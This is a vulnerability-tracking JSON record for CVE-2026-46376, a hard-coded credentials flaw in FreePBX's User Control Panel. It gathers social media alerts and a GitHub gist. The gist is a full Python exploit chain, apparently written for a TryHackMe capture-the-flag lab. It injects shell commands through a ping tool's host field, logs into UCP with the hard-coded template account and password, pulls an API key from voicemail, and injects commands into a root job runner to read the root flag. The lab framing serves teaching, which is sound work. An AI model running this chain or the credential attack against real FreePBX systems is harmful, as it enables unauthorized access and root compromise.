{"vulnerability": "cve-2026-46376", "sightings": [{"uuid": "a4fcfbe5-ab36-4f99-a366-255e422d3c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3ms2etnzim62m", "content": "A critical-severity fix just shipped for Sangoma Freepbx. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-46376", "creation_timestamp": "2026-08-01T21:08:01.390515Z"}, {"uuid": "182fd7e8-1dc6-4e98-af9a-f90344cfd632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmyvyn3gkj2r", "content": "CVE-2026-46376 - FreePBX: Unauthenticated Use of Hard-Coded Credentials Vulnerability in FreePBX UCP Interface\nCVE ID : CVE-2026-46376\n \n Published : May 29, 2026, 2:16 p.m. | 55\u00a0minutes ago\n \n Description : FreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and ...", "creation_timestamp": "2026-05-29T16:03:48.468413Z"}, {"uuid": "b6ea10ec-c023-47aa-bdec-80d33088f2f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://t.me/GithubRedTeam/86439", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-46376\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a portbuster1337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-29 18:27:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-29T19:00:04.000000Z"}, {"uuid": "db0a83cb-b704-4bc1-9302-27590ac4ca11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "Telegram/7Ee_ES1995AuZh7L7sqmaK3TqJ83qHuwNNd4oo-aSS2rD4M", "content": "", "creation_timestamp": "2026-05-29T21:00:04.000000Z"}, {"uuid": "cd7d4a68-6d94-45cf-8f27-93fa461bddaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "Telegram/0a4Mie4mnrD5nSuJkVgKyWL1alP_Sr-QiQEf3S_f43L8qbY", "content": "", "creation_timestamp": "2026-05-29T19:00:46.000000Z"}, {"uuid": "246ffa8e-bd26-4207-b0f1-9662786e5dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnlq7a2v2b", "content": "\ud83d\udea8  ALERT: CVE-2026-46376\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and 17.0.7, unauthenticated users may be able to access the User Control Panel (UCP) using hard-coded initial template credentials if these were not immediately changed by the Admini", "creation_timestamp": "2026-06-22T00:40:52.539346Z"}, {"uuid": "19a28309-d016-4845-afd2-27876838589f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://gist.github.com/anir0y/7ee4801cba330d1ae562d3e9a6422b0e", "content": "#!/usr/bin/env python3\n\"\"\"\nInfinity Pool (TryHackMe, Hacker Holidays 2026 Day 11) - full chain to root.\n\n  1. Command injection in the edge tool /internal/netcheck (ping, shell=True)\n     gives code execution as the web user and the user flag.\n  2. The Watchtower ops console on 127.0.0.1:3000 leaks FreePBX UCP credentials\n     and the automation endpoint on 127.0.0.1:9000.\n  3. CVE-2026-46376: FreePBXUCPTemplateCreator ships with hard-coded UCP\n     credentials. Logging into UCP unlocks the mailbox.\n  4. The automation Bearer key is stashed in a voicemail message's caller-ID,\n     read back through the UCP Voicemail grid API.\n  5. The automation job runner on :9000 runs as root and builds\n       tar czf /var/automation/exports/.tgz /var/automation/data\n     with the attacker-controlled report name. Injecting a shell metacharacter\n     into report executes commands as root.\n\nThe internal services are loopback-only, so this script runs its curls THROUGH\nthe netcheck command injection (the same primitive as the foothold). Point it at\nthe public edge IP.\n\nUsage:\n    python3 infinity_pool.py 10.10.10.10\n\nAuthor: anir0y  |  https://classroom.anir0y.in\n\"\"\"\n\nimport sys\nimport re\nimport requests\n\nUCP_USER = \"FreePBXUCPTemplateCreator\"     # CVE-2026-46376 hard-coded template account\nUCP_PASS = \"St4yN0t1c3d_2026\"              # leaked by the watchtower /api/config\nVM_EXT = \"9919988\"                          # the template account's extension\n\n\ndef netcheck(base, cmd):\n    \"\"\"Run a shell command on the box via the edge command injection, return stdout.\"\"\"\n    r = requests.post(f\"{base}/internal/netcheck\",\n                      data={\"host\": f\"127.0.0.1; {cmd}\"}, timeout=30)\n    m = re.search(r'\n(.*?)', r.text, re.S)\n    out = m.group(1) if m else \"\"\n    # strip the ping noise the command shares its output with\n    return \"\\n\".join(l for l in out.splitlines()\n                     if not re.search(r\"PING |icmp_seq|packet loss|rtt min|--- 127\", l))\n\n\ndef main():\n    if len(sys.argv) < 2:\n        sys.exit(f\"usage: {sys.argv[0]} \")\n    base = f\"http://{sys.argv[1]}\"\n\n    print(\"[*] step 1: command injection -> web + user flag\")\n    print(\"    \" + netcheck(base, \"id\").strip())\n    print(\"    user flag: \" + netcheck(base, \"cat /home/web/user.txt\").strip())\n\n    print(\"[*] step 2: watchtower leaks the UCP creds and the automation endpoint\")\n    print(\"    \" + netcheck(base, \"curl -s http://127.0.0.1:3000/api/config\").strip()[:160] + \" ...\")\n\n    # steps 3-4 run entirely on the box (UCP is loopback-only). A small helper\n    # script is executed via the injection: log in, then read the voicemail grid.\n    print(\"[*] step 3+4: UCP login (CVE-2026-46376) and read the key from the voicemail CID\")\n    helper = r'''\nB=http://127.0.0.1:8080\nTOK=$(curl -s -c /tmp/cj $B/ucp/index.php | grep -oE 'name=\"token\" value=\"[^\"]+\"' | grep -oE 'value=\"[^\"]+\"' | head -1 | sed 's/value=\"//;s/\"//')\ncurl -s -b /tmp/cj -c /tmp/cj -X POST $B/ucp/index.php --data-urlencode \"username=%s\" --data-urlencode \"password=%s\" --data-urlencode \"token=$TOK\" --data \"module=User&command=login\" >/dev/null\ncurl -s -b /tmp/cj -H \"X-Requested-With: XMLHttpRequest\" \"$B/ucp/index.php?module=voicemail&command=grid&folder=INBOX&ext=%s\"\n''' % (UCP_USER, UCP_PASS, VM_EXT)\n    grid = netcheck(base, \"bash -c \" + repr(helper))\n    km = re.search(r\"cc_auto_[0-9a-f]+\", grid)\n    if not km:\n        sys.exit(\"[-] could not recover the automation key from the voicemail\")\n    key = km.group(0)\n    print(\"    automation key: \" + key)\n\n    print(\"[*] step 5: inject into the root job runner's report name\")\n    cmd = (\"curl -s -X POST http://127.0.0.1:9000/jobs/export \"\n           f\"-H 'Authorization: Bearer {key}' -H 'Content-Type: application/json' \"\n           \"-d '{\\\"report\\\":\\\"x; id; echo ---; cat /root/root.txt #\\\"}'\")\n    out = netcheck(base, cmd)\n    print(out.strip())\n    fm = re.search(r\"THM\\{[^}]+\\}\", out)\n    if fm:\n        print(\"\\n[+] root flag: \" + fm.group(0))\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-08-07T16:11:35.427559Z"}]}